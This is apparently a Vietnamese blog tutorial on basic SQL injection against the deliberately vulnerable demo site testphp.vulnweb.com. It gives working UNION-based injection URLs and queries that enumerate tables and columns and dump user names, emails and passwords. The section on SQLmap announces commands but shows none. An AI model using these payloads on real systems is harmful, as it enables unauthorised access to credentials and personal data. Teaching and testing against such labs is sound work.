Hướng dẫn khai thác lỗi SQL Injection cơ bản

Tấn công SQL injection có thể xảy ra khi một trang web cho người dùng thực thi câu lệnh SQL ngay trên trang Web hoặc thanh địa chỉ. Trong bài này, mình sẽ trình bày cách thực hiện một cuộc tấn công SQL Injection cơ bản trên một trang web và ở phần cuối, mình sẽ nói về công cụ SQLmap, công cụ này sẽ tự động hóa toàn bộ quy trình.

Cách để thực hiện một cuộc tấn công SQL Injection cơ bản

Trang web http://testphp.vulnweb.com/listproducts.php?cat=1 đang kiểm tra các lỗ hổng php. Mình sẽ sử dụng trang web này để thực hiện cuộc tấn công SQLi.

Cách để thực hiện một cuộc tấn công SQL Injection cơ bản

1. Tìm xem trang web có dễ bị tấn công SQL Injection hay không

Cách cơ bản và đơn giản nhất là kiểm tra URL của các trang bạn đang truy cập. Nếu URL có dạng https://ift.tt/fphHdMA, nó là một mục tiêu tiềm năng. Để kiểm tra xem trang web có thực sự đang sử dụng SQL hay không, bạn có thể thêm \ hoặc một dấu ngoặc kép ” hoặc dấu ngoặc đơn ‘ ở cuối URL và xem liệu có gì trong trang thay đổi hoặc bạn gặp lỗi SQL hay không. Đối với hầu hết các trường hợp, lỗi sẽ như sau:

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''a\'' at line 1

Nhưng lỗi cũng có thể là bất cứ điều gì khác. Đối với trang web https://ift.tt/fphHdMA khi mình thêm dấu ‘ ở cuối sẽ xuất hiện lỗi:

Hướng dẫn khai thác lỗi SQL Injection cơ bản 11

Vì vậy, mình đã kết luận rằng trang web này có thể bị tấn công SQL Injection https://ift.tt/fphHdMA

Trong backend, ứng dụng có thể đang chạy một truy vấn tương tự như

SELECT * FROM XYZ_TABLE WHERE CAT='<the value of id>'

Truy vấn được thực thi cho https://ift.tt/REBxsvS; sẽ là

SELECT * FROM XYZ_TABLE WHERE CAT=1'

Và bạn đã đoán đúng. Lệnh này sẽ tạo ra lỗi.

Chúng ta có thể sửa đổi truy vấn theo bất kỳ cách nào chúng ta muốn. Nếu mình thêm --+ vào cuối, truy vấn sẽ chạy mà không có lỗi. (--+ hoặc # về cơ bản sẽ comment bất kỳ thứ gì sau nó)

2. Tìm các Database hiện có

Bước tiếp theo sẽ là tìm hiểu các database – cơ sở dữ liệu hiện có. Chúng ta sẽ sử dụng ORDER BY. Nếu mình chạy http://testphp.vulnweb.com/listproducts.php?cat=1 order by 5, truy vấn MySQL tương ứng sẽ là

SELECT * FROM XYZ_TABLE WHERE CAT=1 order by 5--+'

Điều này sẽ sắp xếp kết quả dựa trên cột thứ 5

Mình sẽ lặp lại quá trình này với số cột khác nhau cho đến khi mình nhận được số cột mà trang ngắt. Ví dụ: trong trường hợp này khi ORDER BY 12, trang sẽ bị ngắt. Bây giờ mình biết rằng tổng số cột là 11. Vì số cột là 11, nên mình sẽ chạy truy vấn select all 1,2,3,4,5,6,7,8,9,10,11.

https://ift.tt/kST18LY

Truy vấn MySQL tương ứng sẽ trông như này

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,2,3,4,5,6,7,8,9,10,11

Bây giờ điều hướng đến trang web. Ở một số nơi, bạn sẽ tìm thấy một số từ 1 đến 11. Mình thấy số 7, 2 và 9.

Hướng dẫn khai thác lỗi SQL Injection cơ bản 12

Bây giờ mình biết rằng bất cứ thứ gì mình viết ở vị trí 7, 2 và 9 sẽ được hiển thị. Mình muốn current databaseuserversion, vì vậy mình sẽ thực thi

https://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,user(),3,4,5,6,database(),8,version(),10,11 .

Lưu ý:%20 là ASCII cho space

Mình đã thay thế 2 bằng user(), 7 bằng database() và 9 bằng version().

Mình sẽ tìm hiểu cơ sở dữ liệu, phiên bản cơ sở dữ liệu và chi tiết người dùng.

Hướng dẫn khai thác lỗi SQL Injection cơ bản 13

Mình nhận được thông tin sau:

  • database — acuart
  • user — acuart@localhost
  • version — 8.0.22–0ubuntu0.20.04.2

3. Tìm Table và dữ liệu trong Table trong Database hiện tại

Một khi thông tin trên được thu thập, mọi thứ sẽ rất đơn giản. Để có được danh sách các bảng, mình sẽ chạy

https://ift.tt/4No8CDZ

Truy vấn SQL tương ứng:

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,table_name,3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema = 'acuart'

information_schema là cơ sở dữ liệu mặc định chứa danh sách các bảng. Chúng ta sẽ sử dụng thông tin này để tìm ra tên bảng. acuart là tên cơ sở dữ liệu mà chúng ta nhận được từ bước trước.

Trang web sẽ giống như sau:

Hướng dẫn khai thác lỗi SQL Injection cơ bản 14

Chúng ta có một danh sách các bảng Table:

  • artists
  • carts
  • categ
  • featured
  • guestbook
  • pictures
  • products
  • users

4. Khám phá tên cột – Column trong Table

Khám phá các cột của bảng (column trong Table) users

http://testphp.vulnweb.com/listproducts.php?cat=1%20union%20select%20all%201,column_name,3,4,5,6,7,8,9,10,11%20from%20information_schema.columns where table_name=’users’

Truy vấn SQL tương ứng:

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,column_name,3,4,5,6,7,8,9,10,11 from information_schema.columns where table_name = 'users'

Hướng dẫn khai thác lỗi SQL Injection cơ bản 15

Mình nhận được các tên cột là:

  • uname
  • pass
  • cc
  • address
  • email
  • name
  • phone

5. Tìm dữ liệu được lưu trữ trong Table

Để xem tên, email, mật khẩu của người dùng:

http://testphp.vulnweb.com/listproducts.php?cat=1%20union select all 1,name,3,4,5,6,email,8,pass,10,11 from users

Truy vấn SQL tương ứng:

SELECT * FROM XYZ_TABLE WHERE CAT=1 union select all 1,name,3,4,5,6,email,8,pass,10,11 from users

Hướng dẫn khai thác lỗi SQL Injection cơ bản 16

6. Sử dụng SQLmap để tấn công SQL Injection tự động

Nếu mình muốn sử dụng sqlmap để thực hiện việc trên, mình sẽ phải chạy các lệnh sau trên terminal của mình

Tóm tắt về tấn công SQL Injection

Cuộc tấn công SQL Injection là một trong những cuộc tấn công mạnh mẽ nhất mà hacker có thể thực hiện. Có nhiều cách để ngăn chặn SQL Injection, bạn có thể tham khảo tại đây.

Previous Post Next Post